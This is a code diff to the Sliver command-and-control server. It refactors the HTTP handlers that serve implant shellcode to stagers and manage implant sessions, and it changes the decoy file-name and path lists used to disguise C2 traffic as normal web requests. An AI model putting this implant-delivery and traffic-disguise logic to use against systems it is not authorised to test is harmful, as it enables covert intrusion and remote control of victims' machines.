@@ -424,23 +442,15 @@ func (s *SliverHTTPC2) DefaultRespHeaders(next http.Handler) http.Handler {
err error
)
extension := strings.TrimLeft(path.Ext(req.URL.Path), ".")
// Check if the requests matches an existing session
httpSession := s.getHTTPSession(req)
if httpSession != nil {
// find correct c2 profile and from there call correct handler
// find correct c2 profile
profile, err = db.LoadHTTPC2ConfigByName(httpSession.C2Profile)
if err != nil {
httpLog.Debugf("Failed to resolve http profile %s", err)
return
}
} else {
for _, c2profile := range s.c2Config {
if extension == c2profile.ImplantConfig.StartSessionFileExtension {
profile = c2profile
break
}
}
}
if profile != nil {
@@ -456,7 +466,19 @@ func (s *SliverHTTPC2) DefaultRespHeaders(next http.Handler) http.Handler {
}
resp.Header().Set(header.Name, header.Value)
}
} else {
// for anonymous requests user server-wide defaults
for _, header := range serverConfig.HTTPDefaults.Headers {
if 0 < header.Probability && header.Probability < 100 {
roll := insecureRand.Intn(99) + 1
if header.Probability < int32(roll) {
continue
}
}
resp.Header().Set(header.Name, header.Value)
}
}
next.ServeHTTP(resp, req)
})
}
@@ -489,54 +511,60 @@ func (s *SliverHTTPC2) defaultHandler(resp http.ResponseWriter, req *http.Reques
// [ HTTP Handlers ] ---------------------------------------------------------------
func (s *SliverHTTPC2) mainHandler(resp http.ResponseWriter, req *http.Request) {
extension := strings.TrimLeft(path.Ext(req.URL.Path), ".")
// Check if the requests matches an existing session
httpSession := s.getHTTPSession(req)
if httpSession != nil {
// find correct c2 profile and from there call correct handler
c2Config, err := db.LoadHTTPC2ConfigByName(httpSession.C2Profile)
if err != nil {
httpLog.Debugf("Failed to resolve http profile %s", err)
return
}
if extension == c2Config.ImplantConfig.PollFileExtension {
s.pollHandler(resp, req)
return
} else if extension == c2Config.ImplantConfig.CloseFileExtension {
s.closeHandler(resp, req)
return
} else if extension == c2Config.ImplantConfig.SessionFileExtension {
s.sessionHandler(resp, req)
return
} else {
s.defaultHandler(resp, req)
return
}
s.authenticatedHandler(resp, req, httpSession)
return
} else {
s.anonymousHandler(resp, req)
return
}
// check if this is a new session
for _, profile := range s.c2Config {
if extension == profile.ImplantConfig.StartSessionFileExtension {
s.startSessionHandler(resp, req)
return
}
}
// redirect to default page
httpLog.Debugf("No pattern matches for request uri")
s.defaultHandler(resp, req)
return
}
func (s *SliverHTTPC2) startSessionHandler(resp http.ResponseWriter, req *http.Request) {
httpLog.Debug("Start http session request")
nonce, _ := getNonceFromURL(req.URL)
_, encoder, err := encoders.EncoderFromNonce(nonce)
func (s *SliverHTTPC2) authenticatedHandler(resp http.ResponseWriter, req *http.Request, session *HTTPSession) {
// Poll, session and close requests
c2Config, err := db.LoadHTTPC2ConfigByName(session.C2Profile)
if err != nil {
httpLog.Warnf("Request specified an invalid encoder (%d)", nonce)
httpLog.Debugf("Failed to resolve http profile %s", err)
return
}
encoder, err := getEncoder(req.URL, c2Config)
if err != nil {
s.closeHandler(resp, req, session)
}
if req.Method == http.MethodPost {
s.sessionHandler(resp, req, session, c2Config, encoder)
return
} else if req.Method == http.MethodGet {
s.pollHandler(resp, req, session, encoder)
return
} else {
// unsupported http method
s.defaultHandler(resp, req)
return
}
}
func (s *SliverHTTPC2) anonymousHandler(resp http.ResponseWriter, req *http.Request) {
// start session and staging requests
encoder, err := getEncoder(req.URL, nil)
if err != nil {
s.stagerHandler(resp, req)
return
} else {
s.startSessionHandler(resp, req, encoder)
return
}
}
func (s *SliverHTTPC2) startSessionHandler(resp http.ResponseWriter, req *http.Request, encoder sliverEncoders.Encoder) {
httpLog.Debug("Start http session request")
body, err := io.ReadAll(req.Body)
if err != nil {
httpLog.Errorf("Failed to read body %s", err)
@@ -615,16 +643,11 @@ func (s *SliverHTTPC2) startSessionHandler(resp http.ResponseWriter, req *http.R
resp.Write(respData)
}
func (s *SliverHTTPC2) sessionHandler(resp http.ResponseWriter, req *http.Request) {
func (s *SliverHTTPC2) sessionHandler(resp http.ResponseWriter, req *http.Request, httpSession *HTTPSession, c2profile *clientpb.HTTPC2Config, encoder sliverEncoders.Encoder) {
httpLog.Debug("Session request")
httpSession := s.getHTTPSession(req)
if httpSession == nil {
s.defaultHandler(resp, req)
return
}
httpSession.ImplantConn.UpdateLastMessage()
plaintext, err := s.readReqBody(httpSession, resp, req)
plaintext, err := s.readReqBody(httpSession, resp, req, c2profile, encoder)
if err != nil {
httpLog.Warnf("Failed to decode request body: %s", err)
s.defaultHandler(resp, req)
@@ -656,18 +679,10 @@ func (s *SliverHTTPC2) sessionHandler(resp http.ResponseWriter, req *http.Reques
}
}
func (s *SliverHTTPC2) pollHandler(resp http.ResponseWriter, req *http.Request) {
func (s *SliverHTTPC2) pollHandler(resp http.ResponseWriter, req *http.Request, httpSession *HTTPSession, encoder sliverEncoders.Encoder) {
httpLog.Debug("Poll request")
httpSession := s.getHTTPSession(req)
if httpSession == nil {
s.defaultHandler(resp, req)
return
}
httpSession.ImplantConn.UpdateLastMessage()
// We already know we have a valid nonce because of the middleware filter
nonce, _ := getNonceFromURL(req.URL)
_, encoder, _ := encoders.EncoderFromNonce(nonce)
select {
case envelope := <-httpSession.ImplantConn.Send:
resp.WriteHeader(http.StatusOK)
@@ -691,14 +706,7 @@ func (s *SliverHTTPC2) pollHandler(resp http.ResponseWriter, req *http.Request)
}
}
func (s *SliverHTTPC2) readReqBody(httpSession *HTTPSession, resp http.ResponseWriter, req *http.Request) ([]byte, error) {
nonce, _ := getNonceFromURL(req.URL)
_, encoder, err := encoders.EncoderFromNonce(nonce)
if err != nil {
httpLog.Warnf("Request specified an invalid encoder (%d)", nonce)
s.defaultHandler(resp, req)
return nil, ErrInvalidEncoder
}
func (s *SliverHTTPC2) readReqBody(httpSession *HTTPSession, resp http.ResponseWriter, req *http.Request, c2profile *clientpb.HTTPC2Config, encoder sliverEncoders.Encoder) ([]byte, error) {
body, err := io.ReadAll(&io.LimitedReader{
R: req.Body,
@@ -737,14 +745,8 @@ func (s *SliverHTTPC2) getServerPollTimeout() time.Duration {
return pollTimeout
}
func (s *SliverHTTPC2) closeHandler(resp http.ResponseWriter, req *http.Request) {
func (s *SliverHTTPC2) closeHandler(resp http.ResponseWriter, req *http.Request, httpSession *HTTPSession) {
httpLog.Debug("Close request")
httpSession := s.getHTTPSession(req)
if httpSession == nil {
httpLog.Infof("No session with id %#v", httpSession.ID)
s.defaultHandler(resp, req)
return
}
for _, cookie := range req.Cookies() {
cookie.MaxAge = -1
http.SetCookie(resp, cookie)
@@ -755,30 +757,38 @@ func (s *SliverHTTPC2) closeHandler(resp http.ResponseWriter, req *http.Request)
// stagerHandler - Serves the sliver shellcode to the stager requesting it
func (s *SliverHTTPC2) stagerHandler(resp http.ResponseWriter, req *http.Request) {
nonce, _ := getNonceFromURL(req.URL)
httpLog.Debug("Stager request")
if nonce != 0 {
resourceID, err := db.ResourceIDByValue(nonce)
if err != nil {
httpLog.Infof("No profile with id %#v", nonce)
s.defaultHandler(resp, req)
return
}
build, _ := db.ImplantBuildByResourceID(resourceID.Value)
if build.Stage {
payload, err := generate.ImplantFileFromBuild(build)
if err != nil {
httpLog.Infof("Unable to retrieve Implant build %s", build)
s.defaultHandler(resp, req)
return
var (
resourceID *clientpb.ResourceID
err error
)
nonces, err := getNoncesFromURL(req.URL, 0)
if err != nil {
s.defaultHandler(resp, req)
}
for _, nonce := range nonces {
resourceID, err = db.ResourceIDByValue(nonce)
if err == nil {
httpLog.Debug("Stager request")
build, _ := db.ImplantBuildByResourceID(resourceID.Value)
if build.Stage {
payload, err := generate.ImplantFileFromBuild(build)
if err != nil {
httpLog.Infof("Unable to retrieve Implant build %s", build)
s.defaultHandler(resp, req)
return
}
httpLog.Infof("Received staging request from %s", getRemoteAddr(req))
s.noCacheHeader(resp)
resp.Write(payload)
httpLog.Infof("Serving sliver shellcode (size %d) %s to %s", len(payload), resourceID.Name, getRemoteAddr(req))
resp.WriteHeader(http.StatusOK)
}
httpLog.Infof("Received staging request from %s", getRemoteAddr(req))
s.noCacheHeader(resp)
resp.Write(payload)
httpLog.Infof("Serving sliver shellcode (size %d) %s to %s", len(payload), resourceID.Name, getRemoteAddr(req))
resp.WriteHeader(http.StatusOK)
}
}
s.defaultHandler(resp, req)
}
+13 -2
View File
@@ -34,6 +34,7 @@ import (
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/server/certs"
"github.com/bishopfox/sliver/server/core"
"github.com/bishopfox/sliver/server/db"
"github.com/bishopfox/sliver/server/log"
"golang.zx2c4.com/wireguard/device"
)
@@ -86,6 +87,16 @@ func StartWGListenerJob(wgListener *clientpb.WGListenerReq) (*core.Job, error) {
JobCtrl: make(chan bool),
}
listenerJob := &clientpb.ListenerJob{
JobID: uint32(job.ID),
Type: constants.WGStr,
WGConf: wgListener,
}
err = db.SaveC2Listener(listenerJob)
if err != nil {
return nil, err
}
ticker := time.NewTicker(5 * time.Second)
done := make(chan bool)
@@ -229,7 +240,7 @@ func StartHTTPListenerJob(req *clientpb.HTTPListenerReq) (*core.Job, error) {
}
// StartTCPStagerListenerJob - Start a TCP staging payload listener
func StartTCPStagerListenerJob(host string, port uint16, profileName string, shellcode []byte) (*core.Job, error) {
func StartTCPStagerListenerJob(host string, port uint16, name string, shellcode []byte) (*core.Job, error) {
ln, err := StartTCPListener(host, port, shellcode)
if err != nil {
return nil, err // If we fail to bind don't setup the Job
@@ -241,8 +252,8 @@ func StartTCPStagerListenerJob(host string, port uint16, profileName string, she
Description: "Raw TCP listener (stager only)",
Protocol: "tcp",
Port: port,
ProfileName: profileName,
JobCtrl: make(chan bool),
ProfileName: name,
}
go func() {
+1 -1
View File
@@ -60,7 +60,7 @@ func GenerateCertificateAuthority(caType string, commonName string) (*x509.Certi
certFilePath := filepath.Join(storageDir, fmt.Sprintf("%s-ca-cert.pem", caType))
if _, err := os.Stat(certFilePath); os.IsNotExist(err) {
certsLog.Infof("Generating certificate authority for '%s'", caType)
cert, key := GenerateECCCertificate(caType, commonName, true, false)
cert, key := GenerateECCCertificate(caType, commonName, true, false, false)
SaveCertificateAuthority(caType, cert, key)
}
cert, key, err := GetCertificateAuthority(caType)
+8 -2
View File
@@ -135,7 +135,7 @@ func RemoveCertificate(caType string, keyType string, commonName string) error {
// GenerateECCCertificate - Generate a TLS certificate with the given parameters
// We choose some reasonable defaults like Curve, Key Size, ValidFor, etc.
// Returns two strings `cert` and `key` (PEM Encoded).
func GenerateECCCertificate(caType string, commonName string, isCA bool, isClient bool) ([]byte, []byte) {
func GenerateECCCertificate(caType string, commonName string, isCA bool, isClient bool, isOperator bool) ([]byte, []byte) {
certsLog.Infof("Generating TLS certificate (ECC) for '%s' ...", commonName)
@@ -143,7 +143,13 @@ func GenerateECCCertificate(caType string, commonName string, isCA bool, isClien
var err error
// Generate private key
curves := []elliptic.Curve{elliptic.P521(), elliptic.P384(), elliptic.P256()}
var curves []elliptic.Curve
if isOperator {
curves = []elliptic.Curve{elliptic.P256()}
} else {
curves = []elliptic.Curve{elliptic.P521(), elliptic.P384(), elliptic.P256()}
}
curve := curves[randomInt(len(curves))]
privateKey, err = ecdsa.GenerateKey(curve, rand.Reader)
if err != nil {
+2 -2
View File
@@ -26,14 +26,14 @@ const (
// MtlsC2ServerGenerateECCCertificate - Generate a server certificate signed with a given CA
func MtlsC2ServerGenerateECCCertificate(host string) ([]byte, []byte, error) {
cert, key := GenerateECCCertificate(MtlsServerCA, host, false, false)
cert, key := GenerateECCCertificate(MtlsServerCA, host, false, false, false)
err := saveCertificate(MtlsServerCA, ECCKey, host, cert, key)
return cert, key, err
}
// MtlsC2ImplantGenerateECCCertificate - Generate a server certificate signed with a given CA
func MtlsC2ImplantGenerateECCCertificate(name string) ([]byte, []byte, error) {
cert, key := GenerateECCCertificate(MtlsImplantCA, name, false, true)
cert, key := GenerateECCCertificate(MtlsImplantCA, name, false, true, false)
err := saveCertificate(MtlsImplantCA, ECCKey, name, cert, key)
return cert, key, err
}
+2 -2
View File
@@ -37,7 +37,7 @@ const (
// OperatorClientGenerateCertificate - Generate a certificate signed with a given CA
func OperatorClientGenerateCertificate(operator string) ([]byte, []byte, error) {
cert, key := GenerateECCCertificate(OperatorCA, operator, false, true)
cert, key := GenerateECCCertificate(OperatorCA, operator, false, true, true)
err := saveCertificate(OperatorCA, ECCKey, fmt.Sprintf("%s.%s", clientNamespace, operator), cert, key)
return cert, key, err
}
@@ -59,7 +59,7 @@ func OperatorServerGetCertificate(hostname string) ([]byte, []byte, error) {
// OperatorServerGenerateCertificate - Generate a certificate signed with a given CA
func OperatorServerGenerateCertificate(hostname string) ([]byte, []byte, error) {
cert, key := GenerateECCCertificate(OperatorCA, hostname, false, false)
cert, key := GenerateECCCertificate(OperatorCA, hostname, false, false, true)
err := saveCertificate(OperatorCA, ECCKey, fmt.Sprintf("%s.%s", serverNamespace, hostname), cert, key)
return cert, key, err
}
+6
View File
@@ -123,6 +123,12 @@ func StartPersistentJobs(listenerJobs []*clientpb.ListenerJob) error {
return err
}
j.JobID = uint32(id)
case constants.TCPListenerStr:
job, err := c2.StartTCPStagerListenerJob(listenerJob.TCPConf.Host, uint16(listenerJob.TCPConf.Port), listenerJob.TCPConf.ProfileName, listenerJob.TCPConf.Data)
if err != nil {
return err
}
j.JobID = uint32(job.ID)
}
db.UpdateHTTPC2Listener(j)
}
+47 -497
View File
@@ -44,21 +44,9 @@ func CheckHTTPC2ConfigErrors(config *clientpb.HTTPC2Config) error {
var (
ErrMissingCookies = errors.New("server config must specify at least one cookie")
ErrMissingStagerFileExt = errors.New("implant config must specify a stager_file_ext")
ErrTooFewStagerFiles = errors.New("implant config must specify at least one stager_files value")
ErrMissingPollFileExt = errors.New("implant config must specify a poll_file_ext")
ErrTooFewPollFiles = errors.New("implant config must specify at least one poll_files value")
ErrMissingKeyExchangeFileExt = errors.New("implant config must specify a key_exchange_file_ext")
ErrTooFewKeyExchangeFiles = errors.New("implant config must specify at least one key_exchange_files value")
ErrMissingCloseFileExt = errors.New("implant config must specify a close_file_ext")
ErrTooFewCloseFiles = errors.New("implant config must specify at least one close_files value")
ErrMissingStartSessionFileExt = errors.New("implant config must specify a start_session_file_ext")
ErrMissingSessionFileExt = errors.New("implant config must specify a session_file_ext")
ErrTooFewSessionFiles = errors.New("implant config must specify at least one session_files value")
ErrNonUniqueFileExt = errors.New("implant config must specify unique file extensions")
ErrQueryParamNameLen = errors.New("implant config url query parameter names must be 3 or more characters")
ErrDuplicateStageExt = errors.New("stager extension is already used in another C2 profile")
ErrDuplicateStartSessionExt = errors.New("start session extension is already used in another C2 profile")
ErrMissingExtensions = errors.New("implant config must specify at least one file extension")
ErrMissingFiles = errors.New("implant config must specify at least one files value")
ErrMissingPaths = errors.New("implant config must specify at least one paths value")
ErrDuplicateC2ProfileName = errors.New("C2 Profile name is already in use")
ErrMissingC2ProfileName = errors.New("C2 Profile name is required")
ErrC2ProfileNotFound = errors.New("C2 Profile does not exist")
@@ -93,44 +81,31 @@ func checkServerConfig(config *clientpb.HTTPC2ServerConfig) error {
func checkImplantConfig(config *clientpb.HTTPC2ImplantConfig) error {
// MinFiles and MaxFiles
if config.MinFiles < 1 {
config.MinFiles = 1
// min and max used during http c2 config generation
if config.MinFileGen < 1 {
config.MinFileGen = 1
}
if config.MaxFiles < config.MinFiles {
config.MaxFiles = config.MinFiles
if config.MaxFileGen < config.MinFileGen {
config.MaxFileGen = config.MinFileGen
}
if config.MinPathGen < 0 {
config.MinPathGen = 0
}
if config.MaxPathGen < config.MinPathGen {
config.MaxPathGen = config.MinPathGen
}
// MinPaths and MaxPaths
if config.MinPaths < 0 {
config.MinPaths = 0
// Path length used during implant operation
if config.MinPathLength < 1 {
config.MinPathLength = 1
}
if config.MaxPaths < config.MinPaths {
config.MaxPaths = config.MinPaths
}
// Stager
config.StagerFileExtension = coerceFileExt(config.StagerFileExtension)
if config.StagerFileExtension == "" {
return ErrMissingStagerFileExt
if config.MaxPathLength < config.MinPathLength {
config.MaxPathLength = config.MinPathLength
}
// File Extensions
config.PollFileExtension = coerceFileExt(config.PollFileExtension)
if config.PollFileExtension == "" {
return ErrMissingPollFileExt
}
config.StartSessionFileExtension = coerceFileExt(config.StartSessionFileExtension)
if config.StartSessionFileExtension == "" {
return ErrMissingStartSessionFileExt
}
config.SessionFileExtension = coerceFileExt(config.SessionFileExtension)
if config.SessionFileExtension == "" {
return ErrMissingSessionFileExt
}
config.CloseFileExtension = coerceFileExt(config.CloseFileExtension)
if config.CloseFileExtension == "" {
return ErrMissingCloseFileExt
if len(config.Extensions) < 1 {
return ErrMissingExtensions
}
/*
@@ -156,22 +131,24 @@ func GenerateDefaultHTTPC2Config() *clientpb.HTTPC2Config {
pathSegments := GenerateHTTPC2DefaultPathSegment()
implantConfig := clientpb.HTTPC2ImplantConfig{
UserAgent: "",
ChromeBaseVersion: DefaultChromeBaseVer,
MacOSVersion: DefaultMacOSVer,
NonceQueryArgChars: "abcdefghijklmnopqrstuvwxyz",
ExtraURLParameters: httpC2UrlParameters,
Headers: httpC2Headers,
MaxFiles: 4,
MinFiles: 2,
MaxPaths: 4,
MinPaths: 2,
StagerFileExtension: "woff",
PollFileExtension: "js",
StartSessionFileExtension: "html",
SessionFileExtension: "php",
CloseFileExtension: "png",
PathSegments: pathSegments,
UserAgent: "",
ChromeBaseVersion: DefaultChromeBaseVer,
MacOSVersion: DefaultMacOSVer,
NonceQueryArgChars: "abcdefghijklmnopqrstuvwxyz",
NonceQueryLength: 1,
NonceMode: "UrlParam", // Url or UrlParam
ExtraURLParameters: httpC2UrlParameters,
Headers: httpC2Headers,
MaxFileGen: 4,
MinFileGen: 2,
MaxPathGen: 4,
MinPathGen: 2,
MaxPathLength: 4,
MinPathLength: 2,
Extensions: []string{
"js", "", "php",
},
PathSegments: pathSegments,
}
// Server Config
@@ -216,73 +193,21 @@ func GenerateHTTPC2DefaultPathSegment() []*clientpb.HTTPC2PathSegment {
/*
IsFile bool
SegmentType int32 // Poll, Session, Close, stager
Value string
*/
// files
for _, poll := range PollFiles {
for _, file := range Files {
pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
IsFile: true,
SegmentType: 0,
Value: poll,
IsFile: true,
Value: file,
})
}
for _, session := range SessionFiles {
for _, path := range Paths {
pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
IsFile: true,
SegmentType: 1,
Value: session,
})
}
for _, close := range CloseFiles {
pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
IsFile: true,
SegmentType: 2,
Value: close,
})
}
for _, stager := range StagerFiles {
pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
IsFile: true,
SegmentType: 3,
Value: stager,
})
}
// paths
for _, poll := range PollPaths {
pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
IsFile: false,
SegmentType: 0,
Value: poll,
})
}
for _, session := range SessionPaths {
pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
IsFile: false,
SegmentType: 1,
Value: session,
})
}
for _, close := range ClosePaths {
pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
IsFile: false,
SegmentType: 2,
Value: close,
})
}
for _, stager := range StagerPaths {
pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
IsFile: false,
SegmentType: 3,
Value: stager,
IsFile: false,
Value: path,
})
}
@@ -376,7 +301,7 @@ var (
"csrf-state",
"AWSALBCORS",
}
PollFiles = []string{
Files = []string{
"bootstrap",
"bootstrap.min",
"jquery.min",
@@ -487,7 +412,7 @@ var (
"storage",
"offline",
}
PollPaths = []string{
Paths = []string{
"js",
"umd",
"assets",
@@ -555,379 +480,4 @@ var (
"libjs",
"libjsscripts",
}
SessionFiles = []string{
"login",
"signin",
"api",
"samples",
"rpc",
"index",
"admin",
"register",
"sign-up",
"index",
"config",
"functions",
"database",
"header",
"footer",
"login",
"register",
"logout",
"profile",
"dashboard",
"home",
"about",
"contact",
"services",
"utils",
"common",
"init",
"auth",
"session",
"error",
"handler",
"api",
"ajax",
"form",
"validation",
"upload",
"download",
"report",
"admin",
"user",
"account",
"settings",
"utility",
"script",
"mailer",
"cron",
"cache",
"template",
"page",
"model",
"view",
"controller",
"middleware",
"router",
"route",
"helper",
"library",
"plugin",
"widget",
"widgetized",
"search",
"filter",
"sort",
"pagination",
"backup",
"restore",
"upgrade",
"install",
"uninstall",
"upgrade",
"maintenance",
"sitemap",
"rss",
"atom",
"xml",
"json",
"rss",
"log",
"debug",
"test",
"mock",
"stub",
"mockup",
"mockdata",
"temp",
"tmp",
"backup",
"old",
"new",
"demo",
"example",
"sample",
"prototype",
"backup",
"import",
"export",
"sync",
"async",
"validate",
"authenticate",
}
SessionPaths = []string{
"php",
"api",
"upload",
"actions",
"rest",
"v1",
"auth",
"authenticate",
"oauth",
"oauth2",
"oauth2callback",
"database",
"db",
"namespaces",
"home",
"about",
"contact",
"services",
"products",
"blog",
"news",
"events",
"gallery",
"portfolio",
"shop",
"store",
"login",
"register",
"profile",
"dashboard",
"account",
"settings",
"faq",
"help",
"support",
"download",
"upload",
"subscribe",
"unsubscribe",
"search",
"sitemap",
"privacy",
"terms",
"conditions",
"policy",
"cookie",
"checkout",
"cart",
"order",
"payment",
"confirmation",
"feedback",
"survey",
"testimonial",
"newsletter",
"membership",
"forum",
"signin",
"signup",
"forum",
"contact-us",
"pricing",
"donate",
"partners",
"team",
"career",
"join-us",
"downloads",
"events",
"explore",
"insights",
"newsroom",
"press",
"media",
"blog",
"articles",
"research",
"library",
"resources",
"inspiration",
"academy",
"labs",
"developers",
"api",
"integration",
"status",
"changelog",
"roadmap",
"solutions",
"clients",
"testimonials",
"success-stories",
"clients",
"partners",
"404",
"500",
"error",
"maintenance",
"upgrade",
}
CloseFiles = []string{
"image",
"logo",
"icon",
"background",
"banner",
"button",
"avatar",
"photo",
"picture",
"header",
"footer",
"thumbnail",
"screenshot",
"cover",
"badge",
"illustration",
"graphic",
"map",
"diagram",
"chart",
"emoji",
"flag",
"arrow",
"social",
"media",
"document",
"product",
"menu",
"navigation",
"search",
"result",
"loading",
"progress",
"error",
"success",
"warning",
"info",
"question",
"exclamation",
"play",
"pause",
"stop",
"next",
"previous",
"rewind",
"forward",
"volume",
"mute",
"speaker",
"microphone",
"camera",
"video",
"audio",
"file",
"folder",
"download",
"upload",
"share",
"like",
"heart",
"star",
"comment",
"chat",
"speech bubble",
"message",
"envelope",
"mail",
"clock",
"calendar",
"location",
"pin",
"home",
"settings",
"gear",
"tools",
"user",
"profile",
"login",
"logout",
"register",
"lock",
"unlock",
"shield",
"security",
"privacy",
"checkmark",
"cross",
"delete",
"trash",
"restore",
"recycle",
"favorite",
"bookmark",
"star",
"eye",
"magnifier",
"question mark",
"information",
"exclamationmark",
"help",
"favicon",
"sample",
"example",
}
ClosePaths = []string{
"static",
"www",
"assets",
"images",
"icons",
"image",
"icon",
"png",
"images",
"photos",
"pictures",
"pics",
"gallery",
"media",
"uploads",
"assets",
"img",
"graphics",
"visuals",
"media-library",
"artwork",
"design",
"diagrams",
"icons",
"logos",
"banners",
"thumbnails",
"avatars",
"screenshots",
"headers",
"footers",
"backgrounds",
"buttons",
"illustrations",
"diagrams",
"photoshoots",
"picoftheday",
"imagebank",
"album",
"memories",
"memes",
"snapshots",
"portraits",
"posters",
"renders",
"cover-photos",
"wallpapers",
"photography",
"visualizations",
"moodboard",
"infographics",
"renders",
"icons",
"layers",
"picgallery",
"picdump",
"imagelibrary",
}
StagerFiles = []string{
"attribute_text_w01_regular", "ZillaSlab-Regular.subset.bbc33fb47cf6",
"ZillaSlab-Bold.subset.e96c15f68c68", "Inter-Regular",
"Inter-Medium",
}
StagerPaths = []string{
"static", "assets", "fonts", "locales",
}
)
+30 -7
View File
@@ -24,6 +24,7 @@ import (
"path/filepath"
"github.com/bishopfox/sliver/server/assets"
"github.com/bishopfox/sliver/server/db/models"
"github.com/bishopfox/sliver/server/log"
"github.com/sirupsen/logrus"
)
@@ -124,13 +125,20 @@ type WatchTowerConfig struct {
XForceApiPassword string `json:"xforce_api_password"`
}
// http server defaults for anonymous requests
type HttpDefaultConfig struct {
Headers []models.HttpC2Header `json:"headers"`
}
// ServerConfig - Server config
type ServerConfig struct {
DaemonMode bool `json:"daemon_mode"`
DaemonConfig *DaemonConfig `json:"daemon"`
Logs *LogConfig `json:"logs"`
Watchtower *WatchTowerConfig `json:"watch_tower"`
GoProxy string `json:"go_proxy"`
DaemonMode bool `json:"daemon_mode"`
DaemonConfig *DaemonConfig `json:"daemon"`
Logs *LogConfig `json:"logs"`
Watchtower *WatchTowerConfig `json:"watch_tower"`
GoProxy string `json:"go_proxy"`
HTTPDefaults *HttpDefaultConfig `json:"http_default"`
DonutBypass int `json:"donut_bypass"` // 1=skip, 2=abort on fail, 3=continue on fail.
// 'GOOS/GOARCH' -> CC path
CC map[string]string `json:"cc"`
@@ -187,6 +195,10 @@ func GetServerConfig() *ServerConfig {
}
log.RootLogger.SetLevel(log.LevelFrom(config.Logs.Level))
if config.DonutBypass < 1 || config.DonutBypass > 3 {
config.DonutBypass = 1
}
err := config.Save() // This updates the config with any missing fields
if err != nil {
serverConfigLog.Errorf("Failed to save default config %s", err)
@@ -206,7 +218,18 @@ func getDefaultServerConfig() *ServerConfig {
GRPCUnaryPayloads: false,
GRPCStreamPayloads: false,
},
CC: map[string]string{},
CXX: map[string]string{},
HTTPDefaults: &HttpDefaultConfig{
Headers: []models.HttpC2Header{
models.HttpC2Header{
Method: "GET",
Name: "Cache-Control",
Value: "no-store, no-cache, must-revalidate",
Probability: 100,
},
},
},
DonutBypass: 3,
CC: map[string]string{},
CXX: map[string]string{},
}
}
+1 -1
View File
@@ -212,7 +212,7 @@ func startMultiplayerModeCmd(cmd *cobra.Command, _ []string) {
Type: "multiplayer",
MultiConf: multiConfig,
}
err = db.SaveHTTPC2Listener(listenerJob)
err = db.SaveC2Listener(listenerJob)
if err != nil {
fmt.Printf(Warn+"Failed to save job %v\n", err)
}
+1 -1
View File
@@ -36,7 +36,7 @@ func TestRootOnlyVerifyCertificate(t *testing.T) {
}
// Test with wrong CA
wrongCert, _ := certs.GenerateECCCertificate(certs.HTTPSCA, "foobar", false, false)
wrongCert, _ := certs.GenerateECCCertificate(certs.HTTPSCA, "foobar", false, false, false)
block, _ = pem.Decode(wrongCert)
err = clienttransport.RootOnlyVerifyCertificate(config.CACertificate, [][]byte{block.Bytes})
if err == nil {
-1
View File
@@ -77,7 +77,6 @@ func serverOnlyCmds() (commands []*cobra.Command) {
f.StringP("lhost", "L", "", "interface to bind server to")
f.Uint16P("lport", "l", 31337, "tcp listen port")
f.BoolP("tailscale", "T", false, "only expose multiplayer interface over Tailscale (requires TS_AUTHKEY)")
f.BoolP("persistent", "p", false, "make persistent across restarts")
})
commands = append(commands, startMultiplayer)
+16
View File
@@ -8,6 +8,7 @@ import (
var (
Rtunnels map[uint64]*RTunnel = make(map[uint64]*RTunnel)
mutex sync.RWMutex
pending sync.Map
)
// RTunnel - Duplex byte read/write
@@ -95,6 +96,21 @@ func RemoveRTunnel(ID uint64) {
delete(Rtunnels, ID)
}
func AddPending(sessionID string, connStr string) {
pending.Store(sessionID, connStr)
}
func DeletePending(sessionID string) {
pending.Delete(sessionID)
}
func Check(sessionID string, connStr string) bool {
if val, ok := pending.Load(sessionID); ok {
return val == connStr
}
return false
}
// func removeAndCloseAllRTunnels() {
// mutex.Lock()
// defer mutex.Unlock()
+10 -58
View File
@@ -35,7 +35,6 @@ import (
"github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/server/configs"
"github.com/bishopfox/sliver/server/db/models"
"github.com/gofrs/uuid"
"gorm.io/gorm"
@@ -307,57 +306,6 @@ func LoadHTTPC2s() ([]*clientpb.HTTPC2Config, error) {
return pbC2Configs, nil
}
// used to prevent duplicate stager extensions
func SearchStageExtensions(stagerExtension string, profileName string) error {
c2Config := models.HttpC2ImplantConfig{}
err := Session().Where(&models.HttpC2ImplantConfig{
StagerFileExtension: stagerExtension,
}).Find(&c2Config).Error
if err != nil {
return err
}
if c2Config.StagerFileExtension != "" && profileName != "" {
// check if the stager extension is used in the provided profile
httpC2Config := models.HttpC2Config{}
err = Session().Where(&models.HttpC2Config{ID: c2Config.HttpC2ConfigID}).Find(&httpC2Config).Error
if err != nil {
return err
}
if httpC2Config.Name == profileName {
return nil
}
return configs.ErrDuplicateStageExt
}
return nil
}
// used to prevent duplicate start session extensions
func SearchStartSessionExtensions(StartSessionFileExt string, profileName string) error {
c2Config := models.HttpC2ImplantConfig{}
err := Session().Where(&models.HttpC2ImplantConfig{
StartSessionFileExtension: StartSessionFileExt,
}).Find(&c2Config).Error
if err != nil {
return err
}
if c2Config.StartSessionFileExtension != "" && profileName != "" {
httpC2Config := models.HttpC2Config{}
err = Session().Where(&models.HttpC2Config{ID: c2Config.HttpC2ConfigID}).Find(&httpC2Config).Error
if err != nil {
return err
}
if httpC2Config.Name == profileName {
return nil
}
return configs.ErrDuplicateStartSessionExt
}
return nil
}
func LoadHTTPC2ConfigByName(name string) (*clientpb.HTTPC2Config, error) {
if len(name) < 1 {
return nil, ErrRecordNotFound
@@ -567,7 +515,7 @@ func HTTPC2ConfigUpdate(newConf *clientpb.HTTPC2Config, oldConf *clientpb.HTTPC2
return nil
}
func SaveHTTPC2Listener(listenerConf *clientpb.ListenerJob) error {
func SaveC2Listener(listenerConf *clientpb.ListenerJob) error {
dbListener := models.ListenerJobFromProtobuf(listenerConf)
dbSession := Session()
result := dbSession.Clauses(clause.OnConflict{
@@ -968,14 +916,18 @@ func BeaconTasksByBeaconID(beaconID string) ([]*clientpb.BeaconTask, error) {
return nil, ErrRecordNotFound
}
